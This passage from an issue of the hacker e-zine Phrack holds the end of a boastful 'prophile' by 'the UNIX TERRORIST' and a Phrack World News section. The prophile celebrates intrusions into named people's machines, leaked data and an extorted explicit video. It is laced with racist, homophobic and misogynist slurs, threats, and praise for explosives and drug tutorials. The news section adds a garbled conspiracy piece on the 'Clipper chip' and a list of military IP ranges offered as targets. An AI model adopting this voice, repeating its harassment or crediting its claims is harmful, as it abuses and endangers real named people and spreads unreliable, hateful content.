Watching widespread panic and hysteria grip IRC and various security mailing lists after the publication of ~el8, esp. #2 and #3.

The PHC Music & Film Festival, notably Joost Pol rms freebsd.cn The multi‑homed attack/rm'ing of efnet irc operator "seiki," which resulted in PHC primacy and alpha male hegemony over #phrack

Preparing the memorable vitriolic speech "Wolves Among Us" from scratch, in less than 30 minutes... then attempting to deliver it without inducing fatal hilarity

Becoming the Freddy Krueger of the Internet/IRC Celebrating Kwanzaa online in #darknet with assorted South African infosec luminaries

Civil rights champions worldwide cheer when a Polish transsexual becomes the most recognizable expert on the vanguard of kernel rootkit (un)detection research

Having my first proposed Phrack prophile rejected by humorless German staff

The suceessful social engineering of hacker "dvdman" ‑ which resulted in the retrieval of an explicit masturbatory video of aforementioned individual

iDEFENSE contributors and their laughably low sell‑out prices are revealed in "fake" Phrack

Vomiting in my mouth (just a little bit) the first time I walked into the Alexis Park Hotel

The communal rm'ing of w00w0's jobe, which became the only known time in history where the same individual was rm'ed concurrently by multiple intruders, who, up until the time of the attack, had no knowledge of each other's presences Logging into my computer, relying only on muscle memory to type, after forgetting the alphabet and being too fucked up to read the letters on my keyboard

The look of surprise on the Cheshire Catalyst's face after his password was shouted at him repeatedly, at approximately 80 decibels, while he was entertaining fans stringz attempts to replicate ~el8, fails, and is shamed offline forever

securityfocus.com adds thumbnail pictures to its original columns ‑ I finally find out infosec rockstars such as Don Parker, Scott Granneman, and Dr. Neal rawetz really look like! Slackware founder Patrick Volkerding sends an open SOS to the world after forgetting to brush his teeth nearly results in fatal halitosis.

Watching the IRC suicide/accidental deaths of rippah/electrosk0t unfold

Marty Roesch reaches midlife crisis; denies own obesity and the owning of snort.org

|=‑‑‑=[ Memorable people you have met

The Blue Boar, at the very first Phrack High Council Ethics Roundtable

The Rain Forest Puppy (sounds like an adorable stuffed animal from Mattel(C) but dresses in shiny reflective raver clothing) Captain Crunch (No thanks du0d I don't want you to open up my chakras with a special "energy massage")

Ofir Arkin, world's leading ICMP fingerprinting technologist Honey Dew Moore, child hacker prodigy and world's leading exploit cataloguer

Shok, world's foremost Mormon hacker

Surprisingly, some actual hackers (various members of MoD), while attending HOPE, the worst con I've ever been to

The Death Vegetable, largest carbon footprint of any netizen Packet Fairy

|=‑‑‑=[ Memorable places you have been

spaf's mail spool (although I'd give it back in a heartbeat for a chance to take a joyride in his electric wheelchair instead)

cvs.openbsd.org

s1's famous "Studio 31337" HACKING FORT

Rloxley's child porn archive

|=‑‑‑=[ How started PR0J3KT M4YH3M ?

The idea obviously isn't something entirely new or original. The earliest known historical precursor to Project Mayhem was Erostratus, who set fire to the Temple of Artemis at Ephesus, one of the Seven Wonders of the Ancient World. Though his motives were questionable (he achieved the act merely because he had no other way of immortalizing his name), the base concept was there: destroying something beautiful just for the hell of it. Note: destruction and vandalism out of ignorance and fear are decidedly less noble in nature. Obviously, there was some inspiration from the novel, Fight Club. As far as scene‑related influences, there were some early precursors... the venerable e‑zine "CITADEL" and some of the better work of BOW (Brotherhood of Warez). ~el8 was probably the single biggest source of creative energy fueling PR0J3KT M4YH3M, and is still remembered to this day as the greatest, most revolutionary blackhat publication of all time. But what really kick‑started PR0J3KT M4YH3M was the apparent lack of success of anti.security.is, a formal anti‑disclosure movement constructed from a lucid and cogent document illustrating why it would be better for all parties in the infosec community to stop publishing exploit code. But as the US government is fond of saying of the Taliban, it soon occurred to many of us that these whitehats, like their white‑turbaned friends in Afghanistan, "respond only to violence." Enter PR0J3KT M4YH3M, a spawn off PHC's Fight Club division. All in all, PR0J3KT M4YH3M had an impressive run, resulting in the ownage of high profile whitehats including Theo de Raadt, Kevin Mitnick, and Marty Roesch. IRC servers were conquered and their operators were vanquished. Prominent "hacker" magazines were stolen and leaked prematurely. Hard drives were dd'ed, tar'ed, gzipped', gpg'ed, and shipped off to snu.ac.kr. Codes of whitehats were backdoored and published unexpectedly. Violent/offensive/sacrilegious blackhat ASCII art was created. Heap exploitation tutorials were rebranded. Hitlists of the whitehat community were compiled. Info‑security professionals were fired. Whitehat books & movies were leaked. g4yh1tl3r lived, died, and was born again. And we all had a lot of fun.

|=‑‑‑=[ Things you are proud of

Closing Captains of Crush #2 (multiple times, with finesse) Coining several catch phrases which framed the zeitgeist of the blackhat movement of the early 21st century, including "w00w00 is p00p00"

Becoming the first "hacker (over 5 ft. tall) on steroids" Transcending the blood‑brain barrier

Reading the last 5 issues of Phrack without learning anything new Stealthily avoiding all hidden toilet/shower cams at HAL 2001 Becoming the first hacker to write exploit headers in ebonics Proud author of an exploit that appears bundled with O'Reilly's "Network Security Assessment" book, after infosec genius Chris McNab deletes comments/headers and submits it for inclusion Becoming the first person to rm a box from a cellular device (while at a nightclub ala "Swordfish")

Coming from a family free of mental retardation/physical birth defects

Demonstrating to the world repeatedly how stupid it is to be a whitehat

Triumphing over hackers such as mosthated, missnglnk, gov‑boi, ben‑z, ytcracker, kf, and joewee to earn the title of "blackest man on efnet"

Learning how to krump proficiently after watching only 15 minutes of Rize

Serving for several years as the High Chancellor of *.ac.kr and *.ac.jp

Ordering the world's only team ~el8 tank top from cafepress.com World's fastest typer on sub‑anaesthetic doses of special k Successfully masking my bipolar disorder in order to become a fully integrated and respected member of 'society' Rotating planes of polarized light counterclockwise around various enantiomers

|=‑‑‑=[ Things you are not proud of

Ever having released code to the public

Ever having posted to a security mailing list in which the intention of my correspondence was less than utter sarcasm, mockery, or malice

Failed attempt at rm'ing def‑con.org while at Defcon, due to network problems

How underappreciated this prophile will inevitably be

Not also ordering the "Countdown to rm" ~el8 wall clock from cafepress.com

Unknowingly losing an underground ytalk speed typing competition to a rogue TIOCSTI program

|=‑‑‑=[ Opinion about security conferences

There are any number of flawed reasons why people attend/speak at security conferences. If you're looking for recognition or publicity, you're probably better off committing suicide on Youtube (see "Budd Dwyer" Wikipedia for ideas).

If you're looking for repulsive female companionship or fellow loser friends to socialize with "IRL," you'll probably save some time and airfare by checking your local Craigslist first. Otherwise, the proof is in the pudding. 10 years ago it would been inconceivable that there would one day be "security conferences" in retard 3rd world shitpile countries like Mexico, Malaysia, and Pakistan. Countries whose only contributions to the progression of the digital age

have been the vigorous repeated typing of "jajaja" and "kekeke" and "gf0rce pakistan!!!" in

various IRC channels and online message boards. Apparently, high tech vocations have taken

over! My suggestion is to stock up on sombreros, Nikes, and taxi cab medallions now before

they become relics of the past.

|=‑‑‑=[ Opinion on Phrack Magazine 1985' ? 1995' ? 2005' ? '2007 ?

I've always thought this magazine sucked, but in regards to the specifics of the question at hand, it's probably gotten steadily worse over time. OK OK... I'm sure the editorial staff would like me to say something positive here so here's my best attempt: "PHRACK MAGAZINE ‑ Hey, at least it's not 2600!" This will probably be the worst issue yet, but that's fine I'm just using this prophile as a mouthpiece for my dogma of physical anabolism and moral decay.

|=‑‑‑=[ What you would like to see published in Phrack ?

An article on phones! (Not VOIP!)

Definitely more mail spools... a renewed focus on homemade improvised explosive devices... maybe even some tutorials on drug trafficking for newbies

|=‑‑‑=[ Shoutouts to specific (group of) peoples

Doing (R.I.P.), tr4shc4n m4n, krad, odaymaztr, Funny Bunny, module of rhino9, g4yh1tl3r, drater, the crazy Turk, Rocky the virgin hacker Jesus, zilvio, all my Icelandic friends, sk8, j & r, Hans Reiser (everybody on IRC talks about murder, but nobody actually goes through with it), everybody on asylum & its admin, my old friends from #!!ADM and #!hax, the zoroastrian insomniac prophet & his partner in crime

|=‑‑‑=[ Flames to specific (group of) peoples

pm/gaius (hey did you know there's a facebook group for HERT now?!?), hd moore & his ersatzsploit project (we commend you on your entrepreneurial vision of turning your look‑mom‑i‑just‑got‑owned tcpdump logs into exploits with your own name on them), Richard "Dick Theft" Johnson (1500+ on his SAT; abject failure at real life), The Condor, THE WAREZ D00D (your next ten bag of heroin will be cut with ricin), jobe, Philip Emeagwali (father of the supercomputer/Internet), slashdot, Valdis Kletnieks (if I can't pronounce your name, it's time to kill yourself or go back to dragging a plow in Latvia), "Dr." Neal Krawetz, Stefan Esser (currently being hunted down by European PROJECT MAYHEM operatives with instructions to sever the right hand in accordance with holy e‑jihad Shariah), Eric S. Raymond (still piecing back together his ~ from backups after the brutal desecration of his OSI bazaar via CVS 0day), Electronic Souls, hack.co.za, xfocus, nsfocus, Souljah Boy, "Tiger Team", GNU, Jose Nazario, Luigi Auriemma, tsao[IC], divineint (I'm sure the Singaporian government would have had you caned by now for trading IRIX/VMS/DGUX/AIX/HPUX/ Windows src code if you weren't already in their employment), Raven (congratulations on having a vagina... it's not even a good one, but it's still better than your brain so you should probably try hooking instead of thinking for a living), Don "Beetle" Bailey, Ron Dufresne, Gadi Evron, lcamtuf, Ulf H?rnhammar, jeff moss, pete shipley & other vampire hackers, jericho, marcus ranum, chesswick & bellovin, lamo, markoff/shimomura/mitnick, theo, knuth, dijkstra & other CS theory fags, HACKER CRACKER

|=‑‑‑=[ Quotes

"WTF SAID I WAS A TRADER?" ‑ The Warez Dude

"eye dont wipe logz" ‑ Kareless KaRL

"I'm proud to say I have committed every sin in the Decalogue." Sir Richard Burton

"irc warfare isnt very fun when u can just vanquish your f0ez... i feel like i go thru life with IDDQD on...walking thru firewalls like IDSPISPOPD" ‑ the_uT

"I hate to think that all the whitehats in the world are concerned that phc members are busy hacking their home machines when people are really playing ninja gaiden and hocking off their computers to buy $1000 dogs." ‑ gayh1tler

"While you were sleeping we helped ourselves" ‑ Canaan Banana "I'm on the Zoloft to keep from killing y'all" ‑ Mike Tyson "I've got 5 words for you: drugs smuggled in presidential baggage" ‑ lu1g1

"I guess I'm gonna fade into Bolivian" ‑ Mike Tyson

"I just want to conquer people and their souls" ‑ Mike Tyson "My power is so discombobulatingly devastating I could feel his muscle tissues collapse under my force. It's ludicrous these mortals even attempt to enter my realm." ‑ Mike Tyson "step in2 my e‑z bake oven!" ‑ gayh1tler

"I think my mask of sanity is about to slip." ‑ Patrick Bateman "its not nice to treat other people's boxes like toys‑r‑us" unknown

"With a gun barrel between your teeth, you speak only in vowels." ‑ Fight Club

"Fuck damnation, man! Fuck redemption! We are God's unwanted children? So be it!" ‑ Tyler Durden

"Eat your lima beans!" ‑ Pavel "Papa" Sandrak

"A race condition is how fast you can hit the reset button when you start hearing your hdd whine" ‑ unknown

"We will achieve samadhi while meditating over s1's studio 31337 MOTD" ‑ the_uT

"Like our great leader, this kernel module selects a child and touches him in a very special way." ‑ warez mullah, THE EMMANUEL GOLDSTEIN LKM

"Cuz if you can take a fucking dick, you can take a joke" Immortal Technique

"The greatest trick the devil ever pulled was convincing the world he doesn't exist" ‑ The Usual Suspects / Baudelaire "So I'm rapelling down Mt. Vesuvius, and my rope breaks and I begin to fall and im falling, falling. Ahhhh, I'll never forget the terror! Then I thought to myself, hey Hansel. Haven't you been smoking peyote for 6 straight days and couldn't some of this maybe in your head? " ‑ Zoolander

"Shit! If I'd known it was going to be this kind of party I'd have stuck my dick in the mashed potatoes!"

"ARE YOU FUCKING RETARDED? STOP CRYING AND FUCK YOUR OWN ASS WITH IT" ‑ facialabuse.com

"So don't ever talk shit. And remember something nigga, while you rave and rant ‑ a roach can live for nine days without its head, but you can't" ‑ Immortal Technique

"d00d thats not a LADY OF THE PEN, thats ___ from CUMFIESTA!" unknown

"Can somebody please tell me what the fuck A RED MAP is???" "i did it 4 the lulz" ‑ ANONYMOUS

"we dish out rm's like petri" ‑ the_uT

"There he goes. One of God's own prototypes. A high‑powered mutant of some kind never even considered for mass production. Too weird to live, and too rare to die." ‑ HST UNF UNF "Behold I am become death, the destroyer of worlds" ‑ Robert Oppenheimer

"It is better to find 10 dead babies in 1 trash can than to find 1 dead baby in 10 trash cans." ‑ Unknown

"NIGGA, THE RM IS THE NEW EUGENICS... EUGENIX" ‑ unknown hacker "WTF SAID I WAS A TRADER?" ‑ The Warez Dude

"For personal reasons, I do not browse the web from my computer. (I also have not net connection much of the time.) To look at page I send mail to a demon which runs wget and mails the page back to me. It is very efficient use of my time, but it is slow in real time." ‑ Richard Stallman

"and it shows that you are a complete dork. you are disconnected from reality. how can we take you for serious?" mbalmer@openbsd.org in response to Stallman, officially winning at irony... FOREVERER

"2 FAST 2 FURIOUS 4 U" ‑ the_uT, upon winning an underground irc speed typing competition

|=‑‑‑=[ Anything more you want to say

Looking back on my involvement in computers, I am very happy that the peak of my activity occurred right during the turn of the 20th century. Hacking was no longer as simple as manual labor (wardialing etc.) but finding vulnerabilities and writing exploits and tools was not exactly as tedious and prohibitively time‑consuming as it is currently. To say that I would rather commit seppuku than adapt to the challenges of a changing world by auditing code for SQL injection vulnerabilities and client‑side browser exploits is not an exaggeration. On the upside of things, hardcore pornography is now far better and more widely and freely available than ever, and productive programming like UFC can be seen on channels like Spike TV for free. Every day, more and more youngsters are born who are many times more likely to contribute articles to socially useful publications such as Encyclopedia Dramatica instead of 2600. Spreading terror and wreaking havoc for "epic lulz" have been established as viable alternatives to contributing to open source software projects. If you're a kid reading this zine for the first time because you're interested in becoming a hacker, fucking forget it. You're better off starting a collection of poached adult website passwords, or hanging out on 4chan. At least trash like this has some modicum of entertainment value, whereas the hacking/security scene had become some kind of fetid sinkhole for all the worst kinds of recycled academic masturbation imaginable. In summary, the end is fucking nigh, and don't tell me I didn't warn you... even though there's nothing you can do about it.

Good night and good luck,

‑ the UNIX TERRORIST

Phrack World News

==Phrack Inc.==

Volume 0x0c, Issue 0x41, Phile #0x03 of 0x0f

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ Phrack World News]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ by TCLH ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The Circle of Lost Hackers is looking for any kind of news related to security, hacking, conference report, philosophy, psychology, surrealism, new technologies, space war, spying systems, information warfare, secret societies, ... anything interesting! It could be a simple news with just an URL, a short text or a long text. Feel free to send us your news.

We didn't get any news from the Underground since our last phrack issue, it means that one more time all the news reports are coming from friends of our's.

It would be good if people who claim themself "underground" would send us their news...

Is our underground dead?

1. Speedy Gonzales news

2. How is CSPP controlloing US education network?

3. Retrospective of underground scene

4. Killer robots

5. Meaningful IP addresses

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑[ 1.

_____ _

/ ___| | |

\ `‑‑. _ __ ___ ___ __| |_ _

`‑‑. \ '_ \ / _ \/ _ \/ _` | | | |

/\__/ / |_) | __/ __/ (_| | |_| |

\____/| .__/ \___|\___|\__,_|\__, |

| | __/ |

|_| |___/

_____ _

| __ \ | |

| | \/ ___ _ __ ______ _| | ___ ___

| | __ / _ \| '_ \|_ / _` | |/ _ \/ __|

| |_\ \ (_) | | | |/ / (_| | | __/\__ \

\____/\___/|_| |_/___\__,_|_|\___||___/

_ _

| \ | |

| \| | _____ _____

| . ` |/ _ \ \ /\ / / __|

| |\ | __/\ V V /\__ \

\_| \_/\___| \_/\_/ |___/

*‑[ The underground complot: when quebec scene takes too much LSD ]‑

http://www.mindkind.org/mindkind1011.zip

*‑[ "king of the carders" but busted ]‑

http://www.theregister.co.uk/2007/09/18/max_butler_affidavit/

*‑[ "secure area" and "Microsoft" don't belong in the same sentence ]‑

http://www.stuff.co.nz/4269090a28.html

*‑[ Being an ethical hacker is definitely not a good idea ]‑

http://www.smh.com.au/news/security/police‑swoop‑on‑hacker‑of‑the‑year/2007

/11/15/1194766821481.html?page=2

*‑[ When NSA teaches you how to hack ]‑

https://www.hackerdegree.com

Do they read phrack? :)

*‑[ When Phrack is a sponsor without its permission ]‑

http://conference.hackinthebox.org/hitbsecconf2007kl/?page_id=65

*‑[ Terrorism excuse is good for spying business ]‑

http://www.corpwatch.org/article.php?id=14821

SAIC...

*‑[ Entersect sounds like an interesting target...]‑

http://www.washingtonpost.com/wp‑dyn/content/article/2008/

04/01/AR2008040103049_pf.html

*‑[ Want to work for MI6? ]‑

http://news.bbc.co.uk/player/nol/newsid_6150000/newsid_6153000/

6153092.stm?bw=bb&mp=rm&nol_storyid=6153092&news=1

*‑[ Flight "not" Simulator ]‑

http://www.theregister.co.uk/2008/01/07/

boeing_dreamliner_hacker_concerns/

*‑[ This design looks familiar...]‑

http://hex90.org/

*‑[ After hacking your brain: hacking your heart!]‑

http://packetstormsecurity.org/papers/attack/icd‑study.pdf

‑‑[ 2. How is CSPP controlling US education network ]‑by dahut

http://www.mccullagh.org/db9/d30‑32/kay‑rosen‑holleyman‑1.jpg

The above picture shows Ken Kay, executive director of the Computer Systems Policy Project on the left and Robert Holleyman, president and CEO of the Business Software Alliance on the right.

CSPP (www.cspp.org) was created in 1989, and later on renamed as Technology CEO Council. Bigger members are Applied Material, Dell, EMC, HP, IBM, Intel, Motorola, NCR and Unisys. All these companies together are generating 300 billion dollars of annual revenues.

The company was made on request of the US President, to promote U.S. competitiveness through technology leadership. You can think technology is for information technology. You are wrong. It's for Intelligence technology.

The project is two steps. First is to invent a spy chip and put it in every computer manufactured in US. So did Fairchild (http://en.wikipedia.org/wiki/Fairchild_Semiconductor) by producing the

Clipper chip (http://en.wikipedia.org/wiki/Clipper_architecture).

The Clipper was designed with internal circuitry to encrypt information and deliver backdoor capabilities, a little bit as the previous PROMIS software was doing with Mainframe.

The Clipper was designed for RISC workstation. After a bankruptcy of Fairchild, and seeing that Hitachi was interested to acquire the company, the US government requested Intergraph to continue the project. So they did by starting the production of a new UNIX workstation line, named Interpro32 and running AT&T Unix operating system.

So, the operating system was containing code to activate the secret part of the CPU, and access to users' data. The following declassified document explains to the US administration how dangerous it could be to continue to use the Clipper chip in conjunction with AT&T: http://www.softwar.net/bush.html. CIA and NSA are involved in this

document.

Now that the main US chipset and computer manufacturers are in the secrets of the CIA intelligence, let's go for step two.

In 1996, the US president Clinton did ask to create the CEO Forum, managed by Ken Kay, to establish the best rules for the future classrooms, assuming they will be well connected to the Internet, with the best possible hardware. Members were Apple, Dell, IBM, Compaq, HP, Sun... Next, the US government did ask again to Ken Kay in 2002 to create the Partnership for 21st Century Skills to be at the center of US K‑12 education by building collaborative partnerships among education, business, community and government leader (www.21stcenturyskills.org). It was a follow up to the CEO Forum.

Members are:

* Adobe, AOL, Apple, AT&T, Cisco, Dell, Intel, Microsoft, SAP, Oracle... * National Education Association, Ford Motor Company (?) and the US Department of Education

Ken Kay is in charge of driving all these companies to install computer, software and networks systems in all schools of USA, as well as dictating the content of the courses!

Thinking back to the picture in front of this article, you can make the connection between all software companies, the BSA company and Ken Kay. Thanks to the clipper chip success, they all know how to watch you! The cherry on the cake will be to tell you that Ken Kay is managing WWASP, the largest world network of special establishment for "Teens In Crisis". www.wwasp.com

http://en.wikipedia.org/wiki/World_Wide_Association_of_Specialty_Programs_

and_Schools

Many parents are complaining against the treatment methods employed by WWASPS institutions. These methods are said to be controversial, as there have been allegations of severe (sexual) abuse and torture by staff. In 2004, during a testimony, Ken Kay stated that in his opinion, sexual activity between staff members and students is "not necessarily abuse". How do you explain that Ken Kay is controlling the whole US computer industry, as well as the US education, and able to manage a galaxy of establishments doing sexual abuses in its total acceptation? (See also http://antiwwasp.com/)

‑‑[ 3. Retrospective of The Underground scene ]‑by Duvel

Almost one year after the release of "A brief History of the Underground Scene", it's now time to give some feedback. First of all, The Phrack Staff and I would like to thank you all for your positive and negative comments about this article. The goal of this article was not to explain what the scene once was or what should be but more to provoke the debate. And on this point the article was a success. Now it's time to act.

About the negative comments that I had, I won't reply to each of one. As you have probably seen, I didn't reply to any negative or positive comments (except one at the beginning...my bad) I prefer let people talk. But I was quite amused to see negative comments which for the majority were on some insignificant points (speech recognition is not datamining, this guy doesn't know subnets, underground pyramid is for Holywood magazine or hacking tricks are too lame). It would be stupid to reply to them. So I won't.

One of the thing that I am the most happy about is that a lot of young generations of hackers have found this article interesting and found their way through it. As you have probably seen, there is another article about the Underground scene in this issue. Anonymous' opinion is opposite to mine but if you read beetween the lines, we both go to the same direction.

Of course it's important to understand the history of hacking (what I tried to explain in my article) or how the underground died (what Anonymous tries to explain in his article) but it's more important to keep hackers alive. Even if the Underground won't ever be the same, the passion is still there. It's this passion of hacking that should stay alive.

I really hope that all people who gave constructive comments can participate to the new Underground. A lot of people talk but don't do anything. I've seen lots of interesting comment from people who want to do something but at this stage we haven't seen anything from them. Are these people too busy? Are these people just dreamers? Are these people lacking required knowledge? Are these people....? I don't know.

But this message is for these people: please stop talking but try to bring something to new generation of hackers.

They need you.

‑‑[ 4. Killer robots ]‑‑

My roomba can get lost under the dining room table, bumping off the chair legs, over and over. There are many routes of escape, but it rarely finds one. Only a true genius could turn this remarkable example of AI into a killing machine.

http://blog.wired.com/defense/2007/10/roomba‑maker‑un.html

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The makers of the cuter‑than‑cute robotic vacuum cleaner are rolling out a new machine: A big, fast‑moving, semi‑autonomous 'bot capable of killing a whole bunch of people at once.

Unlike other armed robots ‑‑ which are entirely remote‑controlled ‑‑ the Warriors are "being engineered with advanced software, giving them the ability to perform some battlefield functions autonomously."

At the same time, a key dimension to the Warrior X700 is its ability to protect soldiers by firing weapons such as a machine gun or 40mm explosive round.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Bring in the big guns.

http://blog.wired.com/defense/2007/10/robot‑cannon‑ki.html

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

We're not used to thinking of them this way. But many advanced military weapons are essentially robotic ‑‑ picking targets out automatically, slewing into position, and waiting only for a human to pull the trigger. Most of the time. Once in a while, though, these machines start firing mysteriously on their own.

During the shooting trials at Armscor's Alkantpan shooting range, "I personally saw a gun go out of control several times," Young says. "They made a temporary rig consisting of two steel poles on each side of the weapon, with a rope in between to keep the weapon from swinging. The weapon eventually knocked the pol[e]s down."

Mangope told The Star that it "is assumed that there was a mechanical problem, which led to the accident. The gun, which was fully loaded, did not fire as it normally should have," he said. "It appears as though the gun, which is computerised, jammed before there was some sort of explosion, and then it opened fire uncontrollably, killing and injuring the soldiers."

But the brave, as yet unnamed officer was unable to stop the wildly swinging computerised Swiss/German Oerlikon 35mm MK5 anti‑aircraft twin‑barrelled gun. It sprayed hundreds of high‑explosive 0.5kg 35mm cannon shells around the five‑gun firing position.

By the time the gun had emptied its twin 250‑round auto‑loader magazines, nine soldiers were dead and 11 injured.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Can I play too?

http://blog.wired.com/defense/2007/12/new‑killer‑bot.html

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The stars: "a 25‑year‑old self‑taught engineer named Adam Gettings" and his "toy‑like but gun‑wielding robot designed to replace human soldiers on the battlefield."

Gettings' company doesn't have much of an online signature ‑‑ not even a website. But he does have some interesting partners, including former Disney imagineer Terry Izumi (who cooked up this video for the 'bot) and shotgun maker Jerry Barber (who provided the firepower). Blackwater has also endorsed the product, allegedly.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Blackwater and Disney? Who could ask for better qualifications? Oh, and there's this cool marketing video.

http://money.cnn.com/video/ft/#/video/fortune/2007/12/04/robotex.fortune

Robot wars, anyone?

http://blog.wired.com/defense/2007/05/top_war_tech_5_.html

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

"The Baghdad bomb squad used their iRobots to decorate their shop," Noah reported after an embed with an Army ordnance‑disposal unit a couple years back. "Not far away, at the U.S. military's central robot depot for Iraq, the iRobots sat on shelves, serenely gathering dust, while Foster‑Miller's Talon robots would come back, scarred and in pieces, after being chewed up by a bomb."

The company noted that war zone "Robot Hospitals" are repairing more than 400 bomb‑damaged robots a week to put them back into service.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

My bot can kick your bot's ass. Great. But how do they stand up against humans?

Not the kind of humans that throw rocks at tanks, but the thinking kind, like the ones that broke Israeli comms crypto during the recent war in Lebanon.

Let's see what happens when it comes across a carpet stretched over a pit. Or somebody throws a blanket over it, or spray paints the camera lens, or fires IR lasers or very bright oLEDS at the camera.

Once you have physical access to the thing, you own it. How hard would it be to re‑chip the thing and send it back against its makers?

Can we test our killer‑robot counter measures? Maybe. The opportunity may soon be as close as your local pigsty.

http://blog.wired.com/defense/2007/08/armed‑robots‑so.html

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Armed robots ‑‑ similar to the ones now on patrol in Iraq ‑‑ are being marketed to domestic police forces, according to the machines' manufacturer and law enforcement officers.

Foster‑Miller, maker of the armed SWORDS robot for military use, is also actively promoting a similar model to domestic, civilian police forces. The Talon SWAT/MP is a "robot specifically equipped for scenarios frequently encountered by police SWAT [special weapon and tactics] units and MPs [military police]," a company fact sheet announces. It "can be configured with the following equipment:

. Multi‑shot TASER electronic control device with laser‑dot aiming.

. Loudspeaker and audio receiver for negotiations.

. Night vision and thermal cameras.

. Choice of weapons for lethal or less‑than‑lethal responses ‑ 40 mm grenade launcher ‑ 2 rounds

‑ 12‑gage shotgun ‑ 5 rounds

‑ FN303 less‑lethal launcher ‑ 15 rounds.

In addition to the Massachusetts State Police, SWAT teams in Houston, San Francisco, and Lubbock, TX all have the robots, according to Foster‑Miller spokesperson Cynthia Black.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Finally, a legitimate excuse for Swatting.

http://en.wikipedia.org/wiki/Swatting

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

In the field of Information Security, Swatting is an attempt to trick an emergency service to dispatch an emergency response team. The name derives from attempts to trick an emergency services operator (a "911 operator") into dispatching a SWAT (Special Weapons and Training) team to a location under false pretense.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

What next?

http://blog.wired.com/defense/2007/11/black‑knight.html

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

We now know that there are robotic cars smart enough to drive themselves around a city. The next step: give those vehicles automatic weapons, of course.

Or the troops can stay just chill out, and let the thing drive itself. The Knight uses "advanced robotic technology for autonomous mobility," according to BAE. "This capability allows the Black Knight to plan routes, maneuver on the planned route, and avoid obstacles ‑ all without operator intervention."

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

http://blog.wired.com/defense/2008/01/israel‑thinking.html

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

So Israeli military leaders have begun early planning for a new, robotic defense system, armed with enough artificial intelligence that it "could take over completely" from flesh‑and‑blood operators. "It will be designed for... autonomous operations,' Brig. Gen. Daniel Milo, commander of Israel's air defense forces, tells Defense News' Barbara Opall‑Rome. And in the event of a "doomsday" strike, Opall‑Rome notes, the system could handle "attacks that exceed physiological limits of human command."

How do you say "Skynet" in Hebrew, again?

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

http://www.reuters.com/article/oddlyEnoughNews/idUST27506220080408?feedType=RSS&feedName=oddlyEnoughNews&rpc=22&sp=true

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Robots could fill the jobs of 3.5 million people in graying Japan by 2025, a thinktank says, helping to avert worker shortages as the country's population shrinks.

Caregivers would save more than an hour a day if robots helped look after children, older people and did some housework, it added. Robotic duties could include reading books out loud or helping bathe the elderly.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Don't drop the soap.

‑‑[ 5. Meaningful IP addresses ]‑‑

Here are some IP addresses that people send us...we haven't tried anything so don't blame us. If you have more ranges feel free to share.

But before, the best IP list is probably the one on cryptome:

http://cryptome.org/nsa‑ip‑update14.htm

‑‑‑‑‑

RANGE 6

6.* ‑ Army Information Systems Center

RANGE 7

7.*.*.* Defense Information Systems Agency, VA

RANGE 11

